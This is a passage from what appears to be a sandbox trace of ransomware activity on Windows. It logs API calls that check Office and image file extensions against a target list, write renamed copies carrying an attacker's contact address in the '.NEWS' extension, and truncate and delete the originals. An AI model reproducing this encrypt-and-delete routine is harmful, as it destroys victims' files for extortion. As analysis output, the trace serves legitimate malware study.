lpNewFilePointer=0x0) returned 1 [0072.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0072.688] GetLastError () returned 0x0 [0072.688] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.689] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.709] ReadFile (in: hFile=0x354, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0072.709] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.709] SetEndOfFile (hFile=0x384) returned 1 [0072.709] CloseHandle (hObject=0x384) returned 1 [0072.710] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0072.710] SetEndOfFile (hFile=0x354) returned 1 [0072.711] CloseHandle (hObject=0x354) returned 1 [0072.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString=".doc") returned 4 [0073.518] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString=".docx") returned 5 [0073.518] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.518] lstrlenW (lpString=".pdf") returned 4 [0073.518] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString=".xls") returned 4 [0073.518] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString=".xlsx") returned 5 [0073.518] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.518] lstrlenW (lpString=".ppt") returned 4 [0073.518] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString=".zip") returned 4 [0073.518] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.518] lstrlenW (lpString=".rar") returned 4 [0073.518] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString=".bz2") returned 4 [0073.518] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString=".7z") returned 3 [0073.518] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString=".dbf") returned 4 [0073.518] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString=".1cd") returned 4 [0073.518] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.518] lstrlenW (lpString=".jpg") returned 4 [0073.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString=".doc") returned 4 [0073.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString=".docx") returned 5 [0073.519] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0073.519] lstrlenW (lpString=".pdf") returned 4 [0073.519] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString=".xls") returned 4 [0073.519] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString=".xlsx") returned 5 [0073.519] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0073.519] lstrlenW (lpString=".ppt") returned 4 [0073.519] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString=".zip") returned 4 [0073.519] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0073.519] lstrlenW (lpString=".rar") returned 4 [0073.519] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString=".bz2") returned 4 [0073.519] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString=".7z") returned 3 [0073.519] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString=".dbf") returned 4 [0073.519] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString=".1cd") returned 4 [0073.519] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0073.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0073.519] lstrlenW (lpString=".jpg") returned 4 [0073.519] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0073.520] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.520] lstrlenW (lpString="AG00021_.GIF") returned 12 [0073.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.896] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=14873) returned 1 [0073.896] CloseHandle (hObject=0x350) returned 1 [0073.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 0x220 [0073.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.896] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.896] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.897] GetLastError () returned 0x0 [0073.897] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x3a19, lpOverlapped=0x0) returned 1 [0073.899] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x3a20, lpOverlapped=0x0) returned 1 [0073.900] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.900] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.900] SetEndOfFile (hFile=0x384) returned 1 [0073.900] CloseHandle (hObject=0x384) returned 1 [0073.902] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.902] SetEndOfFile (hFile=0x350) returned 1 [0073.903] CloseHandle (hObject=0x350) returned 1 [0073.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0073.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString=".doc") returned 4 [0073.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.904] lstrlenW (lpString=".docx") returned 5 [0073.904] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.904] lstrlenW (lpString=".pdf") returned 4 [0073.904] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString=".xls") returned 4 [0073.904] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString=".xlsx") returned 5 [0073.904] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.904] lstrlenW (lpString=".ppt") returned 4 [0073.904] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString=".zip") returned 4 [0073.904] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString=".rar") returned 4 [0073.904] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString=".bz2") returned 4 [0073.904] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.904] lstrlenW (lpString=".7z") returned 3 [0073.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString=".dbf") returned 4 [0073.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString=".1cd") returned 4 [0073.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString=".jpg") returned 4 [0073.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.905] lstrlenW (lpString=".doc") returned 4 [0073.905] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.905] lstrlenW (lpString=".docx") returned 5 [0073.905] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.905] lstrlenW (lpString=".pdf") returned 4 [0073.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.905] lstrlenW (lpString=".xls") returned 4 [0073.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.905] lstrlenW (lpString=".xlsx") returned 5 [0073.905] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.905] lstrlenW (lpString=".ppt") returned 4 [0073.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.905] lstrlenW (lpString=".zip") returned 4 [0073.905] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.905] lstrlenW (lpString=".rar") returned 4 [0073.905] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.905] lstrlenW (lpString=".bz2") returned 4 [0073.905] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.905] lstrlenW (lpString=".7z") returned 3 [0073.905] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.905] lstrlenW (lpString=".dbf") returned 4 [0073.905] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.905] lstrlenW (lpString=".1cd") returned 4 [0073.905] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 68 [0073.905] lstrlenW (lpString=".jpg") returned 4 [0073.905] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.905] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.905] lstrlenW (lpString="AG00037_.GIF") returned 12 [0073.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.906] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=6684) returned 1 [0073.906] CloseHandle (hObject=0x350) returned 1 [0073.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 0x220 [0073.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.907] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.907] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0073.907] GetLastError () returned 0x0 [0073.907] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0073.908] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x1a20, lpOverlapped=0x0) returned 1 [0073.909] ReadFile (in: hFile=0x350, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0073.909] WriteFile (in: hFile=0x384, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0073.909] SetEndOfFile (hFile=0x384) returned 1 [0073.910] CloseHandle (hObject=0x384) returned 1 [0073.910] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.911] SetEndOfFile (hFile=0x350) returned 1 [0073.911] CloseHandle (hObject=0x350) returned 1 [0073.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0073.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0073.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.912] lstrlenW (lpString=".doc") returned 4 [0073.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.912] lstrlenW (lpString=".docx") returned 5 [0073.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.912] lstrlenW (lpString=".pdf") returned 4 [0073.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.912] lstrlenW (lpString=".xls") returned 4 [0073.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.912] lstrlenW (lpString=".xlsx") returned 5 [0073.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.912] lstrlenW (lpString=".ppt") returned 4 [0073.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.912] lstrlenW (lpString=".zip") returned 4 [0073.912] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.912] lstrlenW (lpString=".rar") returned 4 [0073.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.913] lstrlenW (lpString=".bz2") returned 4 [0073.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.913] lstrlenW (lpString=".7z") returned 3 [0073.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.913] lstrlenW (lpString=".dbf") returned 4 [0073.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.913] lstrlenW (lpString=".1cd") returned 4 [0073.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.913] lstrlenW (lpString=".jpg") returned 4 [0073.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.913] lstrlenW (lpString=".doc") returned 4 [0073.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0073.913] lstrlenW (lpString=".docx") returned 5 [0073.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0073.913] lstrlenW (lpString=".pdf") returned 4 [0073.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0073.913] lstrlenW (lpString=".xls") returned 4 [0073.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0073.913] lstrlenW (lpString=".xlsx") returned 5 [0073.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0073.914] lstrlenW (lpString=".ppt") returned 4 [0073.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0073.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.914] lstrlenW (lpString=".zip") returned 4 [0073.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0073.914] lstrlenW (lpString=".rar") returned 4 [0073.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0073.914] lstrlenW (lpString=".bz2") returned 4 [0073.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0073.914] lstrlenW (lpString=".7z") returned 3 [0073.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0073.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.914] lstrlenW (lpString=".dbf") returned 4 [0073.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0073.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.914] lstrlenW (lpString=".1cd") returned 4 [0073.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0073.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0073.914] lstrlenW (lpString=".jpg") returned 4 [0073.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0073.914] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0073.914] lstrlenW (lpString="AG00038_.GIF") returned 12 [0073.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.915] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=3251) returned 1 [0073.915] CloseHandle (hObject=0x350) returned 1 [0073.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220 [0073.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0073.915] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0073.915] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) 